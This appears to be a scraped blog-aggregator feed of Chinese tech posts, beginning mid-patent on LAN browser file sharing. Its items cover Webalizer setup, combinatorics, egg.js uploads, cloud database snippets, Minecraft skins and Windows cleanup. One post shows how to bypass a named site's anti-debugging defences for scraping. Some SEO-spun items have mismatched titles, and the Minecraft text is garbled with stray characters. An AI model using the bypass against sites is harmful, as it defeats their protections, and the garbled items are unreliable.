网段的文件内容共享池。本专利技术实施例还提出一种文件共享方法，包括:后台服务器接收所述浏览器转发的来自第一用户端的文件分享指令；所述文件分享指令携带有所述文件的访问相关信息；依据所述访问相关信息，判定所述第一用户端所在网段的文件内容共享池已建立时，将要分享的所述文件的地址放入已建立的所述第一用户端所在网段的文件内容共享池。本专利技术实施例还提出一种文件共享系统，包括:浏览器和与所述浏览器通信连接的后台服务器，其中:所述浏览器，用于接收第一用户端发送的文件分享指令；将所述文件的访问相关信息携带在所述分享指令中发送至所述后台服务器；所述后台服务器，用于依据所述访问相关信息，判定所述第一用户端所在网段的文件内容共享池已建立时，将要分享的所述文件的地址放入已建立的所述第一用户端所在网段的文件内容共享池。本专利技术实施例还提出一种文件共享浏览器，包括:指令接收模块，用于接收第一用户端发送的文件分享指令；发送模块，用于将所述文件的访问相关信息携带在所述分享指令中发送至后台服务器；由所述后台服务器依据所述访问相关信息，判定所述第一用户端所在网段的文件内容共享池已建立时，将要分享的所述文件的地址放入已建立的所述第一用户端所在网段的文件内容共享池。本专利技术实施例还提出一种文件共享服务器，包括:接收模块，用于接收所述浏览器转发的来自第一用户端的文件分享指令；所述文件分享指令携带有所述文件的访问相关信息；分享操作模块，用于依据所述访问相关信息，判定所述第一用户端所在网段的文件内容共享池已建立时，将要分享的所述文件的地址放入已建立的所述第一用户端所在网段的文件内容共享池。本专利技术实施例提出的一种文件共享方法、系统、浏览器及服务器，浏览器在接收到用户端发送的文件分享指令后，将所述文件的访问相关信息携带在分享指令中发送至后台服务器，后台服务器依据访问相关信息，判定该用户端所在网段的文件内容共享池已建立时，将要分享的文件的地址放入已建立的文件内容共享池中，由此,通过在同一个网段下建立一个公共的文件内容共享池，在该网段下的所有终端的浏览器用户可以在此公共文件内容共享池中共享网页、图片或音视频等文件等，无需登录帐号和密码，即可实现文件内容的无缝流通，从而简化了浏览器文件分享流程，而且提高了文件分享的灵活性，促进了文件内容流通效率。【附图说明】图1是本专利技术文件共享方法第一实施例的流程示意图；图2是本专利技术文件共享方法第二实施例的流程示意图；图3是本专利技术文件共享方法第三实施例的流程示意图；图4是本专利技术文件共享方法第四实施例的流程示意图；图5是本专利技术文件共享方法第五实施例的流程示意图；图6是本专利技术文件共享方法第六实施例的流程示意图；图7是本专利技术文件共享方法第七实施例的流程示意图；图8是本专利技术文件共享方法第八实施例的流程示意图；图9是本专利技术文件共享方法第九实施例的流程示意图；图10是本专利技术文件共享系统较佳实施例的架构示意图；图11是本专利技术文件共享浏览器第一实施例的功能模块示意图；图12是本专利技术文件共享浏览器第二实施例的功能模块示意图；图13是本专利技术文件共享服务器较佳实施例的功能模块示意图。为了使本专利技术的技术方案更加清楚、明了，下面将结合附图作进一步详述。【具体实施方式】应当理解，此处所描述的具体实施例仅仅用以解释本专利技术，并不用于限定本专利技术。如图1所示，本专利技术第一实施例从系统侧提出一种文件共享方法，包括:步骤S101，浏览器接收第一用户端发送的文件分享指令；将所述文件的访问相关信息携带在所述分享指令中发送至后台服务器；本实施例可以基于浏览器实现同一局域网段下多个终端之间的文件共享。其中，网段是指一个计算机网络中使用同一物理层设备(传输介质、中继器、集线器等)直接通讯的那一部分。也就是从一个IP地址到另一个IP地址:比如从192.168.0.1到192.168.255.255这之间就是一个网段。每一网段具有网络标识，同一网段通过网络标识区分，网络标识相同，就表示在同一网段。本实施例所指局域网段，是指将局域网设备从逻辑上划分成一个个网段，比如WiFi或WLAN网段或者其他无线局域网等，在此不作具体限定。本实施例以WiFi或WLAN网段下多个终端之间的文件共享进行举例。具体地，以WiFi网段为例，W1-Fi是一种可以将个人电脑、手持设备(如PDA、手机)等终端以无线方式互相连接的技术。后台服务器针对同一个WiFi网段下建立有一个文件公共内容共享池，在此WiFi网段下的所有终端的浏览器用户可以在这个公共内容共享池中共享自己觉得有意思的文件，而无需登录帐号和密码，即可实现文件内容的无缝流通。具体地，浏览器各终端用户所能共享的文件可以是网页、图片或者音视频文件等，其中网页也可以带有图片。本实施例所指浏览器可以为手机浏览器、PC浏览器或iPad浏览器等，其前提是可以连接WiFi或WLAN等局域网访问用户。以WiFi为例，在同一 WiFi网段下，浏览器终端用户可发起对某个或某些网址或图片、首视频文件等进行分孚。浏览器在接收到发起文件分享的用户(即本实施例所指第一用户端)发送的文件分享指令后，将该文件的访问相关信息携带在所述分享指令中发送至后台服务器。其中，文件的访问相关信息包括文件的访问地址以及文件名等，以网页为例，该网页的访问相关信息可以为该网页的URL和网址名等信息。步骤S102，所述后台服务器依据所述访问相关信息，判定所述第一用户端所在网段的文件内容共享池已建立时，将要分享的所述文件的地址放入已建立的所述第一用户端所在网段的文件内容共享池。后台服务器在收到浏览器发送的文件分享指令后，首先根据该文件分享指令所携带的访问本文档来自技高网...</description>
    </item>
    <item>
      <title>ubuntu系统查看http服务器配置,轻松分析HTTP流量:在Ubuntu15.04上安装和配置Webalizer...</title>
      <link>https://bchobby.github.io/posts/923a3301f8956271f6d71ab67c66d8f8/</link>
      <pubDate>Wed, 11 Aug 2021 23:13:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/923a3301f8956271f6d71ab67c66d8f8/</guid>
      <description>Webalizer是一款免费的应用程序，可用于分析网站服务器日志。这样一来，你就能更清楚地了解你的网站或服务器收到的流量大小。它是一种使用广泛的开源工具，提供了非常详细的报告。这个工具的使用和安装很简单，cPanel之类的许多高级托管控制面板使用该工具，为用户提供流量方面的详细信息。&#xA;功能特性&#xA;这款工具的功能很强大，足以解析不同格式的访问日志。它还可以从压缩文件中获取信息，不需要先解压缩文件。你从命令行和图形化用户界面都可以使用该工具，以你觉得方便的方式来查看报告。&#xA;它支持多种语言，开发团队正在努力添加支持另外许多语言的功能。它能够解析任何大小或复杂程度的日志文件。它同时支持IPV4和IPV6，还有原生的地理位置服务和DNS服务器软件。&#xA;在Ubuntu上安装和配置Webalizer&#xA;Webalizer需要Apache网站服务器软件安装在Linux系统上，因为它要读取和解析Apache错误日志，从而分析流量。如果Apache之前没有安装在你的系统上，你试图看一看webalizer是如何工作的，那么启动终端，运行下面这个命令，即可将Apache安装在你的Ubuntu上：&#xA;sudo apt-get install apache&#xA;一旦Apache安装完毕，运行下面这个命令来启动它。&#xA;sudo /etc/init.d/apache2 start&#xA;现在启动你的浏览器，装入http://localhost，核实http在正常运行，它应该会显示诸如此类的页面：&#xA;Apache默认页面&#xA;注意：默认情况下，Apache的文档根目录是/var/www/html/，所以你需要把脚本放在这个位置，那样Apache网站服务器就能提供这些脚本。&#xA;由于Apache已安装在我们的Ubuntu系统上并运行起来，现在运行下面这个命令，安装webalizer。&#xA;sudo apt-get install webalizer&#xA;恭喜你，webalizer已安装完毕。现在我们需要配置它。&#xA;配置webalizer&#xA;你可能也注意到，在安装过程中，webalizer目录已经创建在/var/www/路径上，我们需要把它移到/var/www/html，那样Apache才能顺利该目录。在终端上运行下面这个命令来完成这项任务。&#xA;sudo mv /var/www/webalizer /var/www/html/&#xA;现在编辑Webalizer配置文件，为那里的Apache访问日志纠正路径。运行下面这个命令，即可使用Gedit编辑工具来编辑其配置文件。&#xA;sudo gedit /etc/webalizer/webalizer.conf&#xA;务必要确保Apache访问日志文件路径在该文件中正确无误(下列屏幕截图中高亮显示的部分)。如果路径这一项出错，就纠正路径，并保存文件。&#xA;好了，我们离成功只有一步之遥了。&#xA;测试Webalizer配置&#xA;运行下面这个命令，核实webalizer已成功安装和配置。&#xA;sudo webalizer&#xA;成功的webalizer配置应该会有下列屏幕截图中所示的输出。&#xA;测试webalizer&#xA;启动浏览器，装入http://localhost/webalizer/ URL。它应该会装入webalizer页面，并且附有系统当前HTTP活动的报告。&#xA;结束语&#xA;Webalizer是在微软Windows、Linux和Mac OS上广泛使用的一种工具，可用于分析系统上的Web活动。它是相当简单的工具，可以解析网站服务器日志，即便它受到数百万次的访问。这个工具的重要性对系统和网站管理员来说毋容置疑。</description>
    </item>
    <item>
      <title>排列组合之插板法</title>
      <link>https://bchobby.github.io/posts/71118eeea53091a0a87f9af3712692e9/</link>
      <pubDate>Wed, 11 Aug 2021 22:33:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71118eeea53091a0a87f9af3712692e9/</guid>
      <description>【算法解析】&#xA;插板法的模型：m个相同的元素，分给n个不同的空间里，每个空间至少1个，有多少种方法？&#xA;“O”表示元素，“|”表示隔板，“－”表示间隔，如果我要把10个元素分成3份。&#xA;只需在10－1＝9个间隔中挑选2个插入进去就可以隔开成3份。&#xA;O －O | O －O －O －O －O | O －O －O&#xA;O －O －O | O －O －O －O －O | O －O&#xA;不同的插入方式包含了排序，如第二组和第三组形成的分配为2-5-3和3-5-2。&#xA;插板法模型的可直接运用所需的条件有三个：&#xA;(1)被分配元素相同，&#xA;(2)用来承载元素的空间（例如盒子，分组，分成堆）不同，&#xA;(3)每一个空间至少有1个元素。&#xA;只有完全满足上述三种条件，方可直接使用插板法。&#xA;在考试中我们通常会碰到插板法的变型题，变型题通常是和我们的三个条件有些出入的，具体的就是跟“至少分得1个元素”这个条件不满足，具体有2种情况：&#xA;每组分得元素至少n个的情况。 每组分得元素不做要求的情况。&#xA;对于这样两种情况，我们均是采取“还原”思路。想办法让这个条件变成“至少分得1个”。如至少不小于3个如何转化为至少1个呢？相当于我先给它2个，这样就变成满足至少1个的条件了；如没有至少分得1个的条件，相当于至少分得0个。我们要让它满足至少1个，则反过来让它们先提供1个给我们。这样就变成了至少需要1个的状态了。&#xA;【实例分析】&#xA;插板法例题1：10个相同的苹果分给4个小朋友，每个小朋友至少分1个，则有几种分法？ 解析：这个题目就是典型的插板法模型题，题目满足三个条件，所以可直接用插板法，10个苹果9个间隔，可任意选择3个间隔插入挡板分隔成4份。C(9,3)=84&#xA;插板法例题2：某单位订阅了30份学习材料发放给3个部门，每个部门至少发放9份材料。问一共有多少种不同的发放方法？&#xA;解析：此题不满足“插板法”的条件是至少9份。而不是至少1份。采取“还原”思路，先给这几个部门都先发放8个，则剩30－8×3＝6份。这时候每个部门就至少还需1份了。对剩下的6份分给3个部门运用插板法，即6份学习材料5个间隔，可任意选择2个间隔插入挡板分隔成3份。即C(5,2)=10&#xA;插板法例题3：12个相同的苹果装到编号为1，2，3 的三个不同盒子里面，则有多少种装法？ 解析：此题不满足的条件是缺少至少1个。也当于是至少0个。根据我们上述的分析，采取“还原”思路，先给三个盒子各提供1个给总数，这样使得三个盒子就满足至少1个苹果的要求了。因此总数就变为12+3=15个。对15个的苹果运用插板法，即15个苹果14个间隔，可任意选择2个间隔插入挡板分隔成3份，C(14,2)=91&#xA;【参考文献】&#xA;https://wenku.baidu.com/view/d0a0fcdc7f1922791688e8c4.html</description>
    </item>
    <item>
      <title>神武2服务器多少级出拍卖系统,快捷购买物品和角色 神武2拍卖系统详解</title>
      <link>https://bchobby.github.io/posts/5c5c1ec92e640fc38b68437588e249fb/</link>
      <pubDate>Wed, 11 Aug 2021 22:02:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c5c1ec92e640fc38b68437588e249fb/</guid>
      <description>本文为52pk原创，转载请说明出处与作者！&#xA;为了方便大家进行游戏中物品以及角色的购买，神武2推出了拍卖中心，玩家可以通过拍卖中心快捷操作购买想要的物品。&#xA;玩家可以通过左侧快捷功能按钮来打开拍卖中心，不过需要服务器等级到达60级且人物等级到达50级。&#xA;拍卖中心分为三大部分，分别是普通拍卖，靓号拍卖以及角色拍卖。&#xA;普通拍卖：&#xA;在普通拍卖中，玩家可以通过神武币或者金币来购买游戏中的各种道具。点击出价按钮进行出价，在弹出的设置框中可以设定加价的倍数以及自动加价。当拍卖时间结束后，出价最高的玩家赢得拍卖物品。&#xA;不同的物品拍卖的时间不同，具体的物品拍卖开始结束时间以及拍卖次数，玩家可以通过帮助中心里的介绍来详细查看。或者点击拍卖中心上的拍卖日常按钮进行查看。&#xA;靓号拍卖：&#xA;靓号拍卖就是拍卖游戏中的靓号ID，拍卖时间为周六20点至周日20点。玩家拍卖成功后ID将直接变为靓号ID，原ID无法继续使用。&#xA;但是玩家需要注意，拥有靓号ID的玩家如果半年以上未登陆游戏，靓号ID会被系统回收哦。&#xA;角色拍卖：&#xA;玩家可以在拍卖界面看到当前拍卖角色的具体信息，包括染色、属性、技能、物品、宠物、坐骑、仓库以及其他。玩家可以通过点击相应的按钮来查看详细信息，其中角色的装备可以通过物品按钮查看。&#xA;玩家也可以申请进行角色交易，需要扣除300金币，系统会给一个大概的起拍价。玩家每次只能针对1个角色进行出价，当拍卖成功后卖家会获得一定比例的多益通点数。</description>
    </item>
    <item>
      <title>js数据保存在服务器文件夹内,阿里开源框架egg.js接收存储图片，并保存到数据库中（一）...</title>
      <link>https://bchobby.github.io/posts/9a5b1906cf7f194d8c8535c4ec19787b/</link>
      <pubDate>Wed, 11 Aug 2021 20:59:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a5b1906cf7f194d8c8535c4ec19787b/</guid>
      <description>需求：用户上传图片到服务器，服务器接收并存在本地。&#xA;1、安装写入文件插件，写入出错关闭管道插件&#xA;npm i await-stream-ready, stream-wormhole -S&#xA;2、配置访问地址router.js，注意要使用POST请求&#xA;router.post(&#39;/upload&#39;, controller.home.upload);&#xA;3、编写controller控制器home.js&#xA;&#39;use strict&#39;;&#xA;const Controller = require(&#39;egg&#39;).Controller;&#xA;// 文件存储&#xA;const fs = require(&#39;fs&#39;);&#xA;const path = require(&#39;path&#39;);&#xA;const awaitWriteStream = require(&#39;await-stream-ready&#39;).write;&#xA;const sendToWormhole = require(&#39;stream-wormhole&#39;);&#xA;class HomeController extends Controller {&#xA;async uploadImg() {&#xA;const ctx = this.ctx;&#xA;const stream = await ctx.getFileStream();&#xA;// 文件名:随机数+时间戳+原文件后缀&#xA;// path.extname(stream.filename).toLocaleLowerCase()为后缀名(.jpg,.png等)&#xA;const filename = Math.random().toString(36).substr(2) + new Date().getTime() + path.extname(stream.filename).toLocaleLowerCase();&#xA;// 图片存放在静态资源public/img文件夹下&#xA;const target = path.</description>
    </item>
    <item>
      <title>服务器里的数据库文件名,服务器里的数据库文件名</title>
      <link>https://bchobby.github.io/posts/fc4fd23975de87da169a8c01752b7d97/</link>
      <pubDate>Wed, 11 Aug 2021 20:28:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc4fd23975de87da169a8c01752b7d97/</guid>
      <description>服务器里的数据库文件名 内容精选&#xA;换一换&#xA;该任务指导用户使用Loader将数据从关系型数据库导入到HDFS/OBS。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业执行时操作的HDFS/OBS目录和数据。获取关系型数据库使用的用户和密码。检查磁盘空间，确保没有出现告警且余量满足导入、导出数据的大小。如果设置的作业需要使用指定YARN队列功能，该用户需&#xA;Redis连接适用于用户在本地数据中心或ECS上自建的Redis，适用于将数据库或文件中的数据加载到Redis。DCS适用于将数据库或文件中的数据加载到华为云DCS缓存中，从第三方云Redis服务迁移到DCS推荐使用备份恢复方式。连接本地Redis数据库或DCS时，相关参数如表1所示。&#xA;服务器里的数据库文件名 相关内容&#xA;本章节主要介绍将单RDS(非拆分，以下简称旧RDS)库中的数据整库迁移到DDM实例非拆分库中，仅使用DDM做读写分离场景。迁移过程中可能会出现业务中断情况，中断时长与迁移数据量大小、网络情况相关。数据迁移是一项比较复杂的操作，建议在业务量较低时进行。本实践仅供参考，您需要根据自己业务场景、数据量、停机时间要求等情况，设计合适的迁移方案。对&#xA;该任务指导用户使用Loader将数据从HDFS/OBS导出到关系型数据库。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业执行时操作的HDFS/OBS目录和数据。获取关系型数据库使用的用户和密码。检查磁盘空间，确保没有出现告警且余量满足导入、导出数据的大小。如果设置的作业需要使用指定YARN队列功能，该用户需&#xA;服务器里的数据库文件名 更多内容&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;企业在华为云上自建MySQL数据库，希望能使用DDM将数据进行分布式存储。迁移过程中可能会出现业务中断情况，中断时长与迁移数据量大小、网络情况相关。自建MySQL所在服务器与目标DDM实例、RDS for MySQL实例必须处于相同VPC，且安全组配置相同。华为云上自建MySQL所在ECS、新购DDM和RDS for MySQL实例建议配&#xA;PostgreSQL支持逻辑备份。您可使用pg_dump逻辑备份功能，导出备份文件，再通过psql导入到RDS中，实现将PostgreSQL的数据导入到云数据库RDS中。云数据库RDS服务支持开启公网访问功能，通过弹性公网IP进行访问。您也可通过弹性云服务器的内网访问云数据库RDS。准备弹性云服务器或可公网访问云数据库RDS。通过弹性云服&#xA;本节包含编码的安全要求。不能依赖客户端校验，必须使用服务端代码对输入数据进行最终校验。对于在客户端已经做了输入校验，在服务器端再次以相同的规则进行校验时，一旦数据不合法，必须使会话失效，并记录告警日志。必须假定所有用户产生的输入都是不可信的，并对它们进行合法性校验和值域校验，一旦数据不合法，应该告知用户输入非法并建议用户纠正输入。如果输入&#xA;全量+增量备份迁移为数据持续性迁移，需要在完成全量备份恢复的基础上，通过多次增量备份文件恢复，实现迁移过程中业务中断的最小化。一次典型的增量恢复过程，会涉及多次恢复增量备份。每个增量备份恢复均会使目标数据库保持还原中状态，此时数据库不可读写，直至最后一个增量备份恢复完成后，数据库才能变成可用状态。本小节将以一次完整的全量+增量迁移为示例，&#xA;SQL Server使用日志传送来进行灾备，即可以自动将主服务器上数据库实例的事务日志发送到辅助服务器上，用于灾备的数据库实例进行还原操作。如图1所示的方案中，用户的生产数据中心部署主服务器实例，安装SQL Server数据库，作为主数据库。华为云上部署辅助服务器实例，安装SQL Server数据库，作为灾备数据库，即辅助数据库。用户的生&#xA;将GaussDB(for openGauss)提供的ODBC DRIVER(psqlodbcw.so)配置到数据源中便可使用。配置数据源需要配置“odbc.ini”和“odbcinst.ini”两个文件(在编译安装unixODBC过程中生成且默认放在“/usr/local/etc”目录下)，并在服务器端进行配置。获取参考地址：http:/&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;数据复制服务在使用上有一些固定的限制，用来提高数据迁移的稳定性和安全性。在进行正式的数据迁移之前，请先阅读以确保各存储引擎已满足使用限制条件。请先阅读以确保您已了解备份迁移任务所需要的各项使用条件，以便帮助您顺利完成数据迁移。介绍Microsoft SQL Server数据库备份迁移使用上的限制。针对一些无法预知或因人为因素及环境突变导致&#xA;本文以Linux操作系统为例，介绍如何将已下载的副本集备份文件的数据恢复至自建数据库。关于如何下载备份文件，请参见下载备份文件。该方法仅适用于副本集实例。本地自建MongoDB数据库已安装3.4版本客户端工具。假设路径“/path/to/mongo”为执行恢复操作所在路径，路径“/path/to/mongo/data”为备份文件所在路径。&#xA;华为云关系型数据库服务Console端数据库密码复杂度，请参见购买实例中的数据库配置表格。华为云关系型数据库实例数据库对在客户端新创建的数据库用户，设置了密码安全策略：密码最小长度为8个字符。密码中必须含有字母和非字母，其中，非字母包括数字和特殊字符。密码不得包含用户名。密码最小长度为8个字符。密码中必须含有字母和非字母，其中，非字母包括</description>
    </item>
    <item>
      <title>Python 爬虫进阶必备 - 以 aqistudy 为例的无限 debugger 反调试绕过演示（附视频）...</title>
      <link>https://bchobby.github.io/posts/7b59fab51a897be2882110d798912842/</link>
      <pubDate>Wed, 11 Aug 2021 18:56:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b59fab51a897be2882110d798912842/</guid>
      <description>点击上方“咸鱼学Python”，选择“加为星标”&#xA;第一时间关注Python技术干货！&#xA;今日网站 aHR0cHM6Ly93d3cuYXFpc3R1ZHkuY24v&#xA;这个站是看到读者在其他群里问以为又改版了，所以打开瞅瞅&#xA;本篇文章只演示反调试的绕过，其他内容之前文章讲过了。&#xA;请自行翻阅&#xA;Python爬虫进阶必备 | 关于某监测网站的内容加密分析&#xA;JS逆向 | 分析某监测网站的 debugger 反爬措施&#xA;debugger 的绕过 最后附视频演示&#xA;打开网站，发现网站禁用了 F12 和 右键&#xA;这样的反调试可以通过 Ctrl + Shift + i 打开控制台&#xA;打开控制台之后看到提示debugger&#xA;这样的 debugger ，可以在堆栈里翻看上一层堆栈看看能否置空函数来防止进入 debugger&#xA;通过堆栈可以看到txsdefwsw这个方法调用了debugger&#xA;这个方法是在首页调用的，试了下txsdefwsw = function(){}&#xA;发现还是会出现调用，再看堆栈，发现原来还有setInterval循环调用了检测逻辑&#xA;可以看到上图的堆栈，最顶层是city_realtime.php&#xA;在这个堆栈里找到了两个eval&#xA;所以这个网站的整套逻辑我猜是下面这样的&#xA;1、请求目标网站 2、目标网站加载首页（首页中包含上图的两个 eval） 3、eval 中包含检测逻辑 4、访客打开控制台，被已经加载的检测逻辑检测，完成反调试 知道这个套路之后我们要这么反反调试？&#xA;1、本地代理这个首页，替换首页的eval&#xA;这个法子的工具用 Fiddler 或者 Reres ，用规则匹配到这个页面然后替换就好了，网上的资料很多或参考之前的文章&#xA;Python爬虫进阶必备 | 关于 ReRes 的一篇教程&#xA;2、使用如下视频的方法调试，可以在 vm 的生命周期内不用理会 debugger&#xA;有读者试过视频中的方法，但是就是不行，这是为啥？&#xA;这里可能是忽略了一个小细节，这个可以在代码中找到答案&#xA;这里检测了 window 的内外长宽，当我们打开控制台，原有展示的页面就小了，所以只要把控制台调整成一个新的窗口就可以规避，接着使用视频展示的就可以了。</description>
    </item>
    <item>
      <title>我的世界服务器皮肤怎么用文件夹,我的世界怎么用皮肤文件，怎么通过文件夹更改皮肤...</title>
      <link>https://bchobby.github.io/posts/73f3f37f05cc8109309080c9496a559d/</link>
      <pubDate>Wed, 11 Aug 2021 18:40:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73f3f37f05cc8109309080c9496a559d/</guid>
      <description>打开versions，我的世界怎么用文件换皮肤教程里百面有个小茶壶形状的文件，用压度缩工具打开它，依次打知开assets，minecraft，，textures，entity，先将里面自带道的原皮肤删掉，再版将下载好的皮肤的文件名改为steve.png放进去权&#xA;怎么在文件夹里换皮肤&#xA;人的肤色具有黑、黄、红、白和棕色等许多种，即使来是同一种族的人，也有很大差别。然而能令皮肤的颜色发生改变自的因素有三种：皮肤百的厚度，血液的供应量，皮肤里的色素。特别是皮肤的色素，最重要的就是黑色素，它可以从黄色到度黑色的颜色范围之内变问化。皮肤分为好多层，紧靠外边的叫表皮，紧靠里边的叫做真皮，黑色素在真皮以及表皮之间答。所以蓝皮肤也不是没有可能哦.&#xA;如果是要服务器里别人看见的皮肤的话需要下载皮肤mod但是对方也要安装皮肤mod没有安装的人是看不见的。如果不需要别人看见只要在[.minecraft]文件夹里面找到[minecraft.jar]右键在[打开方式]中选择winrararchiver或者其他的压缩软件用那个打开在[minecraft.jar]里面找到[mob]文件夹删掉[char.png]把你要的皮肤改名[char.png]复制进去就可以了如果是高清皮肤要安装[高清修复补丁]不然会乱掉、&#xA;你皮肤站，要先创建角色，填上名字，创建角色完毕。然后要选择皮肤，保存之后。进入mc看看有没有你的皮肤，如果我的世界我皮肤在哪个文件夹没有，就代表你没有皮肤站里面的小插件，那就下载皮肤站里面的[模组下载]下载模组安装器下载之后，打开软件，点击‘’选择游戏jar文件&#39;&#39;找到你游戏的目录：.minecraft---versions---xxx文件夹里面有个jar文件，选择之后点击打开，会出现版本，你选择你的版本之后，点击安装即可。进入游戏你就会看到你的皮肤了。&#xA;找到游戏目录bin，用解压缩软件打开minecraft.jar具体教程这里有&#xA;我用的BN版的启动器，所以没有.minecraft/bin更没有minecraft.jar...&#xA;通过核心文件改皮肤，很麻烦的，真的，而且我的世界下皮肤在哪个文件夹各个版本的皮肤位置都不一样.建议不要再选用这种方法了，推荐买个正版账号上传皮肤.或者用skinme更改使用你喜欢的皮肤.希望能帮到你，谢谢.___望采纳___&#xA;覆盖的是Steve.png，新皮肤文件也要叫这个名字&#xA;本体：将本体MOD放入mods文件夹附属：将附属MOD放入mods文件夹(非必装项)皮肤：将皮肤包放入mods文件夹音效：解压后放在.minecraftmodslittleMaidMobX目录下&#xA;我的MINGCRAFT是服务器整合，找不到MINECRAFE.JAR。。。...&#xA;网上搜我的世界皮肤站，注册登陆找到自己心仪的皮肤就可以了，不用这么麻烦&#xA;怎么用文件换皮肤教程&#xA;要下皮肤mod&#xA;我的世界皮肤文件夹在哪；我的世界下载的皮肤在哪；我的世界皮肤在哪找；世界卡车皮肤更换教程；我的世界皮肤站下载；我的世界皮肤；我的世界pe皮肤文件夹；我的世界中国版皮肤路径；我的世界文件夹在哪；我的世界披风文件夹在哪；我的世界材质包文件夹在哪；我的世界中国版皮肤文件夹；我的世界皮肤站；我的世界文件夹；我的世界皮肤在哪个文件；我的世界中国版皮肤导出；&#xA;可以用皮肤站导入或者是先把你的皮肤文件重命名为steve.png，我的世界把皮肤放在哪个文件夹里然后打开.minecraft文件夹，找到versions文件夹，打开！然后用winRAR打开1.7.2文件夹里的1.7.2.jar(不是解压成文件夹)再找到assets，打开，接着打开minecraft，然后打开textures，再打...&#xA;确实大部分玩家都会遇到这类的情况，才导致玩家会选择它，玩家都清楚，同时分享我的世界怎么在文件夹里换皮肤推荐、阵容搭配、刷图技巧，一旦搭配不合理。</description>
    </item>
    <item>
      <title>服务器c盘怎么删除临时文件,win10C盘怎么删除临时文件</title>
      <link>https://bchobby.github.io/posts/8776b56c27d95f725c0313b090413310/</link>
      <pubDate>Wed, 11 Aug 2021 17:01:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8776b56c27d95f725c0313b090413310/</guid>
      <description>win10专业版c盘越来越少该怎么办呢？今天小编教大家Win10瘦身小妙招，主要是删除一些不太有用的大文件，来有效释放系统C盘资源。&#xA;一、删除Windows.old文件&#xA;在系统C盘上，点击右键，然后点击打开“属性”&#xA;磁盘属的[常规]选卡下，点击“磁盘清理” 如图所示&#xA;会出现磁盘清理对话框，打开磁盘清理界面，如图所示&#xA;勾选上“以前的Windows安装，然后点击底部的“确定”即可开始清理,如图所示&#xA;二、压缩休眠文件&#xA;Win + R 组合快捷键打开 运行 对话框，然后输入 cmd 并点击底部的“确定”，打开命令操作框，如下图所示&#xA;CMD命令框中，输入或者复制粘贴以下命令：powercfg hibernate size XX&#xA;也可以禁用休眠输入命令“powercfg -h off”—回车&#xA;、&#xA;其他方法：&#xA;1、点击开始菜单，选择设置，如下图所示：&#xA;2、点击系统，如下图所示：&#xA;3、在系统设置页面中，选择存储，然后在右侧点击c盘，如下图所示：&#xA;4、进入c盘后，系统会列出存储使用情况，我们选择临时文件，如下图所示：&#xA;5、点击“删除临时文件”按钮，即可删除临时文件和更新缓存，如下图所示：</description>
    </item>
    <item>
      <title>2003 ftp传到服务器的文件时间 与服务器时间不一致,ftp文件上传时间和服务器不一致...</title>
      <link>https://bchobby.github.io/posts/c002c8c7faa8f91a2fe538e9f7f9e1ea/</link>
      <pubDate>Wed, 11 Aug 2021 15:55:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c002c8c7faa8f91a2fe538e9f7f9e1ea/</guid>
      <description>ftp文件上传时间和服务器不一致 内容精选&#xA;换一换&#xA;本小节介绍了数据库全量备份文件和事务日志(增量)备份文件的导出方法。该操作为全量+增量迁移的必操作项，仅进行全量迁移时，可以跳过该步骤。由于数据库存在日志截断和收缩配置，在导出全量备份文件前，需要将数据库恢复模式配置成“完整”模式，且一直保持到整个数据库完全迁移到本云数据库实例和业务切割后，才能修改。通过Microsoft SQL Ser&#xA;GaussDB(DWS)提供了数据服务工具GDS来帮助分发待导入的用户数据及实现数据的高速导入。GDS需部署到数据服务器上。数据量大，数据存储在多个服务器上时，在每个数据服务器上安装配置、启动GDS后，各服务器上的数据可以并行入库。GDS在各台数据服务器上的安装配置和启动方法相同，本节以一台服务器为例进行说明。GDS支持在如下的操作系统中&#xA;ftp文件上传时间和服务器不一致 相关内容&#xA;内存一致性检查就是检查源码迁移在鲲鹏平台运行时可能存在的内存一致性问题，并提供插入内存屏障的建议。由于运行内存一致性检查时，生成的中间文件较大，如果用户想要使用该功能，请确保安装工具的所在磁盘空间足够大，根据经验数据，每10w行代码需要100G左右的磁盘空间。源码规模过大可能会导致占用资源过多，建议代码量不超过10万行。已成功登录鲲鹏代码&#xA;无法通过远程桌面连接裸金属服务器时，我们推荐您按照以下思路排查问题。检查是否符合登录条件检查网络是否正常检查防火墙配置是否正常远程访问端口配置异常尝试重启裸金属服务器确认是否已经按照裸金属服务器登录前的准备工作有哪些？中的指导，完成登录前准备工作。检查弹性公网IP是否能ping通。如果ping不通，检查安全组是否已添加如下规则：再次尝试远&#xA;ftp文件上传时间和服务器不一致 更多内容&#xA;GaussDB(for openGauss)提供了数据服务工具GDS来帮助分发待导入的用户数据及实现数据的高速导入。GDS需部署到数据服务器上。数据量大，数据存储在多个服务器上时，在每个数据服务器上安装配置、启动GDS后，各服务器上的数据可以并行入库。GDS在各台数据服务器上的安装配置和启动方法相同，本节以一台服务器为例进行说明。GDS支&#xA;GaussDB(DWS)提供了数据服务工具GDS来帮助分发待导入的用户数据及实现数据的高速导入。GDS需部署到数据服务器上。数据量大，数据存储在多个服务器上时，在每个数据服务器上安装配置、启动GDS后，各服务器上的数据可以并行入库。GDS在各台数据服务器上的安装配置和启动方法相同，本节以一台服务器为例进行说明。GDS支持在如下的操作系统中&#xA;假定用户有某个周末网民网购停留时间的日志文本，基于某些业务要求，要求开发Spark应用程序实现如下功能：统计日志文件中本周末网购停留总时间超过2个小时的女性网民信息。周末两天的日志文件第一列为姓名，第二列为性别，第三列为本次停留时间，单位为分钟，分隔符为,。log1.txt：周六网民停留日志LiuYang,female,20&#xA;YuanJi&#xA;华为云漏洞扫描服务不同于一般的扫描工具，因为VSS的扫描原理是基于自动化渗透测试(对被扫描的对象发送非恶意的攻